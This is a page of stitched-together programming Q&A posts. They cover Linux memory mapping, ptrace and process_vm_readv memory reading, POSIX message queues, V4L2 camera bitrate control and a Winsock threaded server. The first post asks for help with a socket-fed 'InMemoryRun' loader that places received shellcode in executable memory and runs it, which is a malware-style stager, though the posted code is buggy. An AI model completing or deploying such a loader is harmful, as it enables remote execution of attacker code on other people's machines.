I'm writing a program to execute remote code on memory received by socket. I'm using mmap to generate a memory space and strncpy or memcpy to copy data to memory. After that i try to execute it and i always get an "Segmentation fault: 11". Here is the code:
#define DEFAULT_BUFLEN 1024
#define PAGE_EXECUTE_READWRITE 1
static const size_t SIZE = 1024;
#include <sys/mman.h>
#include <sys/types.h>
long int iResult = 1;
void error(const char *msg) {
perror(msg);
exit(1);
}
void execute(char *data) {
void *addr;
addr = mmap(0, SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, -1, 0);
if (addr == MAP_FAILED)
cout << "MAP fail" << endl;
//strncpy((char *)addr, argv, sizeof(char)*sizeof(argv));
memcpy(addr,data,sizeof(data));
((void (*)(void))addr)();
}
BOOL InMemoryRun(SOCKET ConnectSocketPE)
{
int recvbuflen = DEFAULT_BUFLEN;
char recvbuf[DEFAULT_BUFLEN];
cout << "[*] Starting Download Process" << endl;
recv(ConnectSocketPE, recvbuf, 1024, 0);
size_t a = atoi(recvbuf);
cout << "Shell size: " << a << endl;
sleep(2);
cout << "[*] Receiving Data...";
iResult = recv(ConnectSocketPE, recvbuf, recvbuflen, 0);
cout << "Done!"<<endl<<"[!] Starting exeutable..."<< endl;
execute(recvbuf);
return true;
}
Thanks in advance.
Related
I'm trying to port a program from Windows to Linux.
I encountered a problem when I found out that there isn't a "real" ReadProcessMemory counterpart on Linux; I searched for an alternative and I found ptrace, a powerful process debugger.
I quickly coded two small console applications in C++ to test ptrace, before using it in the program.
TestApp
This is the tracee; it keeps printing two integers every 50 milliseconds while increasing their value by 1 every time.
#include <QCoreApplication>
#include <QThread>
#include <iostream>
using namespace std;
class Sleeper : public QThread
{
public:
static void usleep(unsigned long usecs){QThread::usleep(usecs);}
static void msleep(unsigned long msecs){QThread::msleep(msecs);}
static void sleep(unsigned long secs){QThread::sleep(secs);}
};
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
int value = 145;
int i = 0;
do {
cout << "i: " << i << " " << "Value: " << value << endl;
value++;
i++;
Sleeper::msleep(50);
} while (true);
return a.exec();
}
MemoryTest
This is the tracer; it asks for the process name and retrieves the PID using the command pidof -s, then ptrace attaches to the process and retrieves the memory address' value every 500 milliseconds, for 10 times.
#include <QCoreApplication>
#include <QThread>
#include <iostream>
#include <string>
#include <sys/ptrace.h>
#include <errno.h>
using namespace std;
class Sleeper : public QThread
{
public:
static void usleep(unsigned long usecs){QThread::usleep(usecs);}
static void msleep(unsigned long msecs){QThread::msleep(msecs);}
static void sleep(unsigned long secs){QThread::sleep(secs);}
};
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
char process_name[50];
cout << "Process name: ";
cin >> process_name;
char command[sizeof(process_name) + sizeof("pidof -s ")];
snprintf(command, sizeof(command), "pidof -s %s", process_name);
FILE* shell = popen(command, "r");
char pidI[sizeof(shell)];
fgets(pidI, sizeof(pidI), shell);
pclose(shell);
pid_t pid = atoi(pidI);
cout << "The PID is " << pid << endl;
long status = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
cout << "Status: " << status << endl;
cout << "Error: " << errno << endl;
unsigned long addr = 0x012345; // Example address, not the true one
int i = 0;
do {
status = ptrace(PTRACE_PEEKDATA, pid, addr, NULL);
cout << "Status: " << status << endl;
cout << "Error: " << errno << endl;
i++;
Sleeper::msleep(500);
} while (i < 10);
status = ptrace(PTRACE_DETACH, pid, NULL, NULL);
cout << "Status: " << status << endl;
cout << "Error: " << errno << endl;
return a.exec();
}
Everything works fine, but TestApp is paused (SIGSTOP) until ptrace detaches from it.
Also, when it attaches to the process, the status is 0 and the error is 2; the first time it tries to retrieve the memory address value it fails with status -1 and error 3. Is it normal?
Is there a way to prevent ptrace from sending the SIGSTOP signal to the process?
I already tried using PTRACE_SEIZE instead of PTRACE_ATTACH, but it doesn't work: status -1 and error 3.
Update: Using Sleeper in MemoryTest before the "do-while" loop fixes the problem of the first memory address value retrieval, even if the value of seconds, milliseconds or microseconds is 0. Why?
After a lot of research I'm pretty sure that there isn't a way to use ptrace without stopping the process.
I found a real ReadProcessMemory counterpart, called process_vm_readv, which is much more simple.
I'm posting the code in the hope of helping someone who is in my (previous) situation.
Many thanks to mkrautz for his help coding MemoryTest with this beautiful function.
#include <QCoreApplication>
#include <QThread>
#include <sys/uio.h>
#include <stdint.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <iostream>
using namespace std;
class Sleeper : public QThread
{
public:
static void usleep(unsigned long usecs){QThread::usleep(usecs);}
static void msleep(unsigned long msecs){QThread::msleep(msecs);}
static void sleep(unsigned long secs){QThread::sleep(secs);}
};
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
char process_name[50];
cout << "Process name: ";
cin >> process_name;
char command[sizeof(process_name) + sizeof("pidof -s ")];
snprintf(command, sizeof(command), "pidof -s %s", process_name);
FILE* shell = popen(command, "r");
char pidI[sizeof(shell)];
fgets(pidI, sizeof(pidI), shell);
pclose(shell);
pid_t pid = atoi(pidI);
cout << "The PID is " << pid << endl;
if (pid == 0)
return false;
struct iovec in;
in.iov_base = (void *) 0x012345; // Example address, not the true one
in.iov_len = 4;
uint32_t foo;
struct iovec out;
out.iov_base = &foo;
out.iov_len = sizeof(foo);
do {
ssize_t nread = process_vm_readv(pid, &out, 1, &in, 1, 0);
if (nread == -1) {
fprintf(stderr, "error: %s", strerror(errno));
} else if (nread != in.iov_len) {
fprintf(stderr, "error: short read of %li bytes", (ssize_t)nread);
}
cout << foo << endl;
Sleeper::msleep(500);
} while (true);
return a.exec();
}
Davide,
Have you had a look at the /proc filesystem? It contains memory map files that can be used to peek at the full process space. You can also write in the space to set a breakpoint. There is a wealth of other information in /proc as well.
The PTRACE_CONT command can be used to continue a process. Generally, the target will be paused with a PTRACE_ATTACH when the debugger attaches.
The man page says PTRACE_SIEZE should not pause the process. What flavor and version of Linux are you using? PTRACE_SIEZE has been around for quite awhile so I'm not sure why you are having trouble there.
I note the addr value is set to 0x12345. Is this a valid address in the target space? Or was that just an example? How is the stack address of interest (&value) communicated between the two processes?
I'm not too sure about the return codes. Generally a 0 means all is well, the errno may just be a hangover value from the last error.
--Matt
I'm trying to teach myself message queues, and I'm using pthreads that talk to each other.
I know that the buffer in mq_receive should be larger than attr.mq_msgsize, and it is (twice the size).
I haven't even sent a message yet.
EDIT: John Bollinger ran this on his machine and it worked. This may be an OS-dependent problem. I'm running Mint 18 XFCE
EDIT EDIT: rebooting fixed the behaviour? Not going to question this or complain.
This code is based off of an example I found online : https://github.com/arembedded/mq_example
Here is the code :
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <fcntl.h>
#include <errno.h>
using namespace std;
#define PIN_MSG_NAME "/pin_msg"
#define DB_MSG_NAME "/db_msg"
#define MESSAGE_QUEUE_SIZE 15
pthread_t ATM;
pthread_t DB_server;
pthread_t DB_editor;
void* run_ATM(void* arg);
void* run_DB(void* arg);
static struct mq_attr mq_attribute;
static mqd_t PIN_MSG = -1;
void sig_handler(int signum){
//ASSERT(signum == SIGINT);
if (signum == SIGINT){
cout << "killing application" << endl;
pthread_cancel(ATM);
pthread_cancel(DB_server);
pthread_cancel(DB_editor);
}
}
int main(int argc, char const *argv[])
{
pthread_attr_t attr;
signal(SIGINT, sig_handler);
mq_attribute.mq_maxmsg = 10; //mazimum of 10 messages in the queue at the same time
mq_attribute.mq_msgsize = MESSAGE_QUEUE_SIZE;
PIN_MSG = mq_open(PIN_MSG_NAME , O_CREAT | O_RDWR, 0666, &mq_attribute);
if (PIN_MSG == -1){
perror("creating message queue failed ");
}
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 1024*1024);
long start_arg = 0; //the start argument is unused right now
pthread_create(&ATM, NULL, run_ATM, (void*) start_arg);
pthread_create(&DB_server, NULL, run_DB, (void*) start_arg);
pthread_join(ATM, NULL);
pthread_join(DB_server, NULL);
sig_handler(SIGINT);
}
void* run_ATM(void* arg) {
int status;
char accountNumber[15];
char PIN[15];
cout << "ATM is running" << endl;
cout << "Please input an account number > ";
cin >> accountNumber;
status = mq_send(PIN_MSG, accountNumber, sizeof(accountNumber) + 1, 1);
if (status < 0){
perror("sending message failed");
}
}
void* run_DB(void* arg){
cout << "Database server running" << endl;
int status;
char received_acct_number[30];
while(1){
status = mq_receive(PIN_MSG, received_acct_number, sizeof(received_acct_number), NULL);
if (status < 0){
perror("error:");
} else {
cout << received_acct_number << endl;
}
}
}
Am I missing something? Why is there a message coming in at all, and why is it too large?
You talk about your receive buffer size as if the error is reported by mq_receive(), but as you observe, your buffer is long enough to receive any message that can be enqueued on your queue, and moreover, you seem not to be expecting an incoming message at all.
Although I'm not sure how you could be confused in this way, I'm inclined to think that the problem occurs in sending a message:
char accountNumber[15];
...
status = mq_send(PIN_MSG, accountNumber, sizeof(accountNumber) + 1, 1);
Your queue's message length limit is 15 bytes, and you're trying to enqueue a 16-byte message. Moreover, your send buffer is in fact shorter than 16 bytes in the first place; if mq_send() tried to copy 16 bytes of message then that would produce undefined behavior.
I'm trying to find a command to get the actual reserved memory for mqueue.
In /proc/self/limits is stored limit of total size for mqueue (in my case 819200).
It means that if I have 10 mqueues with a limit of 10 msg and size 8192, then total size is 10*10*8192=819200 which is number in system limit.
I know how to increase this limit but I don't know how to get the actual used memory for mqueue (for example if I'm currently using 6 mqueues).
if I cretate 6 mqueues with settings 10 msg and size 8192,
then alocated memory will be 6*10*8192 = 491520
and my question is where I can found this size 491520
#include <iostream>
#include <vector>
#include <cerrno>
#include <cstring>
#include <stdexcept>
#include <stdio.h>
#include <string>
#include "mqueue.h"
std::string exec(const char* cmd) {
char buffer[128];
std::string result = "";
FILE* pipe = popen(cmd, "r");
if (!pipe) throw std::runtime_error("popen() failed!");
try {
while (!feof(pipe)) {
if (fgets(buffer, 128, pipe) != NULL)
result += buffer;
}
} catch (...) {
pclose(pipe);
throw;
}
pclose(pipe);
return result;
}
class mqueue {
public:
mqueue(std::string n = "/dummy", int maxMsg = 10) : queue(), attr(), name(n) {
/* Set attributes */
this->attr.mq_flags = 0;
this->attr.mq_maxmsg = maxMsg; /* war: MAX_MSG_QUEUE */
this->attr.mq_msgsize = 8192; /* war: MAX_MSG_SIZE */
/* Destroy old message queue */
mq_unlink(this->name.c_str());
/* Open message queue */
queue = mq_open(this->name.c_str(), O_RDWR | O_CREAT | O_EXCL, S_IRWXU | S_IRWXG, &this->attr);
std::cout << "\n[info] in constructor class mqueue name: " << this->name << " | errno: " << std::strerror(errno);
}
~ mqueue() {
//std::cout << "\n[info] in destructor class mqueue name: " << this->name << " | close = " << mq_close(this->queue) << " | unlink = " << mq_unlink(this->name.c_str());
}
void getInfo() const {
std::cout << "\nname: " << this->name << " | mqueue: " << this->queue << "\n" ;
}
private:
std::string name;
mqd_t queue;
mq_attr attr;
};
int main(int argc, char **argv)
{
int i;
mqueue testMqueue("/dummy");
testMqueue.getInfo();
mqueue testMqueue1("/dummy1", 1);
mqueue testMqueue2("/dummy2", 6);
mqueue testMqueue3("/dummy3", 7);
mqueue testMqueue4("/dummy4", 10);
mqueue testMqueue5("/dummy5", 2);
mqueue testMqueue6("/dummy6", 3);
mqd_t mqdes;
mq_attr mqstat;
for (i = 0; i < 99; i++) {
mqdes = i;
mq_getattr(mqdes, &mqstat);
std::cout << "\n" << i << "\tmaxmsg: " << mqstat.mq_maxmsg << "\tmsgsize: " << mqstat.mq_msgsize << "\tsize: " << mqstat.mq_maxmsg * mqstat.mq_msgsize;
}
return 0;
}
Thanks for answers.
Adrian
Example:
Compile and execute:
std::vector<mqueue> testMqueue;
for (i = 0; i < 20; i++) {
testMqueue.push_back(mqueue("/dummy" + std::to_string(i)));
testMqueue.at(i).getInfo();
}
std::cout << exec("ipcs -q") ;
and as you can see:
[info] in constructor class mqueue name: /dummy19 | errno: Too many open files
name: /dummy19 | mqueue: -1
------ Message Queues --------
key msqid owner perms used-bytes messages
list is empty also when I executing ipcs -q in terminal
I want to record a video from a V4L2 device (from the Raspberry Pi camera) in C.
The recording itself works and I can save the video to a file.
However I need to change the bitrate of the video. From the strace output of the v4l2-ctl --set-ctrl video_bitrate=10000000 command I know that the extended controls API of v4l2 is used to achieve this.
Here's my code which doesn't work so far:
#include <iostream>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h> //mmap
#include <fcntl.h>
#include <unistd.h>
#include <linux/videodev2.h>
using namespace std;
#define numbuffers 3
struct picturebuffer
{
void *startadress;
size_t length;
};
//array in which the buffer pointer are being stored
picturebuffer pb[numbuffers];
int main()
{
//open camera
int fd;
fd = open("/dev/video0", O_RDWR);
if(fd < 0)
{
cout << "error during opening the camera device!";
cout.flush();
}
cout << "camera opened";
//read capabilities
struct v4l2_capability caps;
if(ioctl(fd, VIDIOC_QUERYCAP, &caps) < 0)
{
cout << "error while reading the capabilities!";
cout.flush();
}
cout << "Capabilities " << caps.capabilities << endl;
//ToDo: check for required capabilities
//set image data
struct v4l2_format format;
format.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
format.fmt.pix.pixelformat = V4L2_PIX_FMT_H264;
format.fmt.pix.width = 1920;
format.fmt.pix.height = 1080;
if(ioctl(fd, VIDIOC_S_FMT, &format) < 0)
{
cout << "error in the image format";
}
cout << "Image properties set" << endl;
//Todo: check if width and height fit together (VIDIOC_ENUM_FRAMESIZES)
//set extended Controls
struct v4l2_ext_controls ecs;
struct v4l2_ext_control ec;
memset(&ecs, 0, sizeof(ecs));
memset(&ec, 0, sizeof(ec));
ec.id = V4L2_CID_MPEG_VIDEO_BITRATE;
ec.value = 10000000;
ec.size = 0;
ecs.controls = &ec;
ecs.count = 1;
ecs.ctrl_class = V4L2_CTRL_CLASS_MPEG;
if(ioctl(fd, VIDIOC_S_EXT_CTRLS, &ecs) < 0)
{
cout << "error in extended controls bitrate";
cout.flush();
}
//allocate buffer in the kernel
struct v4l2_requestbuffers req;
req.count = numbuffers;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_MMAP;
if(ioctl(fd, VIDIOC_REQBUFS, &req) < 0)
{
cout << "errro while allocating buffer";
cout.flush();
}
cout << "number of buffers: " << req.count << endl;
cout.flush();
//map buffers into userspace
for(int i=0; i<numbuffers; i++)
{
struct v4l2_buffer bufferinfo;
memset(&bufferinfo, 0, sizeof(bufferinfo));
bufferinfo.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
bufferinfo.memory = V4L2_MEMORY_MMAP;
bufferinfo.index = i;
if(ioctl(fd, VIDIOC_QUERYBUF, &bufferinfo) < 0)
{
cout << "error while querying bufferinfo";
cout.flush();
}
pb[i].startadress = mmap(NULL, bufferinfo.length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, bufferinfo.m.offset);
pb[i].length = bufferinfo.length;
if(pb[i].startadress == MAP_FAILED)
{
cout << "error during mmap" << endl;
}
memset(pb[i].startadress, 0, bufferinfo.length);
cout << "size of buffer: " << bufferinfo.length << endl;
}
cout << "buffers mapped into userspace" << endl;
cout.flush();
//queue in the buffers
for(int i=0; i<numbuffers; i++)
{
struct v4l2_buffer bufferinfo;
memset(&bufferinfo, 0, sizeof(bufferinfo));
bufferinfo.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
bufferinfo.memory = V4L2_MEMORY_MMAP;
bufferinfo.index = i;
if(ioctl(fd, VIDIOC_QBUF, &bufferinfo) < 0)
{
cout << "error while queueing the buffers in" << endl;
}
}
//since that point the driver starts capturing the pics
int type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if(ioctl(fd, VIDIOC_STREAMON, &type) < 0)
{
cout << "error while starting the stream" << endl;
}
int file;
if((file = open("/home/pi/image.h264", O_WRONLY | O_CREAT, 0660)) < 0)
{
cout << "error while writing the file";
}
//loop for managing the pics
for(int i=0; i<100; i++)
{
struct v4l2_buffer bufferinfo;
memset(&bufferinfo, 0, sizeof(bufferinfo));
bufferinfo.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
bufferinfo.memory = V4L2_MEMORY_MMAP;
if(ioctl(fd, VIDIOC_DQBUF, &bufferinfo) < 0)
{
cout << "error while getting the buffer!" << endl;
}
//do anything with the pic
char buf[pb[bufferinfo.index].length];
memcpy(&buf, pb[bufferinfo.index].startadress, pb[bufferinfo.index].length);
cout << bufferinfo.index << endl;
cout.flush();
//write picture into the file
write(file, pb[bufferinfo.index].startadress, pb[bufferinfo.index].length);
if(ioctl(fd, VIDIOC_QBUF, &bufferinfo) < 0)
{
cout << "error while enqueuing the buffer" << endl;
}
}
close(file);
if(ioctl(fd, VIDIOC_STREAMOFF, &type) < 0)
{
cout << "error while stopping the stream" << endl;
}
//clean up
for(int i=0; i<numbuffers; i++)
{
if(munmap(pb[i].startadress, pb[i].length) < 0)
{
cout << "error during unmap";
}
}
//close camera file
close(fd);
cout << "!!!Hello World!!!" << endl;
cout.flush();
return 0;
}
The ioctl call seems to succeed, however my output file always has the same size as of 199,2 MB. Does someone know what´s wrong in the code ?
You need to check if the camera driver supports that IOCTL command. If the driver doesn't support the IOCTL command by not implementing it, you still can execute the command and it is routed to v4l2 default implementation, no actual changes are applied to the camera setting
Try to change the lines:
pb[bufferinfo.index].length
By:
pb[bufferinfo.index].bytesused
For example:
write(file, pb[bufferinfo.index].startadress, pb[bufferinfo.index].bytesused);
I need help with organizing each request-handling for incoming connection in new thread (code is at the bottom of this topic).
I don't know at all how to organize manually ( without using boost/threadpool ) queue with handling each request? How should I solve such problem with non-using boost etc?
Cause, I want do it manually, and I don't understand how do the next:
Listening for each new connection
If I've got new connection, then send in new thread the handling
When thread ends handling process, close this thread
I have tried to do such stuff with while(true); but don't know how to organize well the request-queue to handle each HTTP-request.
My code is:
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "Ws2_32.lib")
typedef struct Header
{
friend struct Net;
private:
WORD wsa_version;
WSAData wsa_data;
SOCKET sock;
SOCKADDR_IN service;
char *ip;
unsigned short port;
public:
Header(void)
{
wsa_version = 0x202;
ip = "0x7f.0.0.1";
port = 0x51;
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr(ip);
service.sin_port = htons(port);
}
} Header;
typedef struct Net
{
private:
int result;
HANDLE thrd;
DWORD exit_code;
void WSAInit(WSAData *data, WORD *wsa_version)
{
result = WSAStartup(*wsa_version, &(*data));
if(result != NO_ERROR)
{
std::cout << "WSAStartup() failed with the error: " << result << std::endl;
}
else
{
std::cout << (*data).szDescription << " " << (*data).szSystemStatus << std::endl;
}
}
void SocketInit(SOCKET *my_socket)
{
(*my_socket) = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if((*my_socket) == INVALID_SOCKET)
{
std::cout << "Socket initialization failed with the error: " << WSAGetLastError() << std::endl;
WSACleanup();
}
else
{
std::cout << "Socket initialization successful!" << std::endl;
}
}
void SocketBind(SOCKET *my_socket, SOCKADDR_IN *service)
{
result = bind((*my_socket), (SOCKADDR*)&(*service), sizeof(*service));
if(result == SOCKET_ERROR)
{
std::cout << "Socket binding failed with the error: " << WSAGetLastError() << std::endl;
closesocket((*my_socket));
WSACleanup();
}
else
{
std::cout << "Socket binding successful!" << std::endl;
}
result = listen(*my_socket, SOMAXCONN);
if(result == SOCKET_ERROR)
{
std::cout << "Socket listening failed with the error: " << WSAGetLastError() << std::endl;
}
else
{
std::cout << "Listening to the socket..." << std::endl;
}
}
void SocketAccept(SOCKET *my_socket)
{
SOCKET sock_accept = accept((*my_socket), 0, 0);
if(sock_accept == INVALID_SOCKET)
{
std::cout << "Accept failed with the error: " << WSAGetLastError() << std::endl;
closesocket(*my_socket);
WSACleanup();
}
else
{
std::cout << "Client socket connected!" << std::endl;
thrd = CreateThread(NULL, 0, &Net::Threading, &sock_accept, 0, NULL);
}
}
static void HandleRequest(char response[], int length)
{
std::cout << std::endl;
for(int i = 0; i < length; i++)
{
std::cout << response[i];
}
std::cout << std::endl;
}
static DWORD WINAPI Threading(LPVOID lpParam)
{
SOCKET *my_socket = (SOCKET*)lpParam;
char data[0x400];
int result = recv((*my_socket), data, sizeof(data), 0);
HandleRequest(data, result);
char *response = "HTTP/1.1 200 OK\r\nServer: Amegas.sys-IS/1.0\r\nContent-type: text/html\r\nSet-Cookie: ASD643DUQE7423HFDG; path=/\r\nCache-control: private\r\n\r\n<h1>Hello World!</h1>\r\n\r\n";
result = send((*my_socket), response, (int)strlen(response), 0);
if(result == SOCKET_ERROR)
{
std::cout << "Sending data via socket failed with the error: " << WSAGetLastError() << std::endl;
closesocket((*my_socket));
WSACleanup();
}
else
{
result = shutdown((*my_socket), 2);
}
return 0;
}
public:
Net(void)
{
Header *obj_h = new Header();
WSAInit(&obj_h->wsa_data, &obj_h->wsa_version);
SocketInit(&obj_h->sock);
SocketBind(&obj_h->sock, &obj_h->service);
SocketAccept(&obj_h->sock);
delete obj_h;
}
} Net;
int main(void)
{
Net *obj_net = new Net();
delete obj_net;
return 0;
}
Your OS will handle the accept() queueing - don't worry too much about it. Simple synchronous servers tend to run like this:
socket listeningSocket:=socket.create;
listeningSocket.bind('0.0.0.0',80); // address/port
listeningSocket.listen;
while(true){
socket serverClientSocket=accept(listeningSocket);
createThread(&serverClientThread,serverClientSocket);
}
void serverClientThread(void *param)
{
inBuffer char[256];
socket myServerClientSocket=(socket)param;
while(true){
int bytesRx=recv(myServerClientSocket,&inBuffer,size(inBuffer));
if (bytesRx>0){
if doSomethingWith(&inBuffer,bytesRx) // not necessarily size(inBuffer) bytes!!
{
send(myServerClientSocket,"Reply from server\r\n");
}
}
else
return; // on error or connection closed
}
}
The one listening thread, (can be main thread in console apps), runs the accept() loop foerver. The separate serverClientThread instances run until their client disconects or some other error occurs.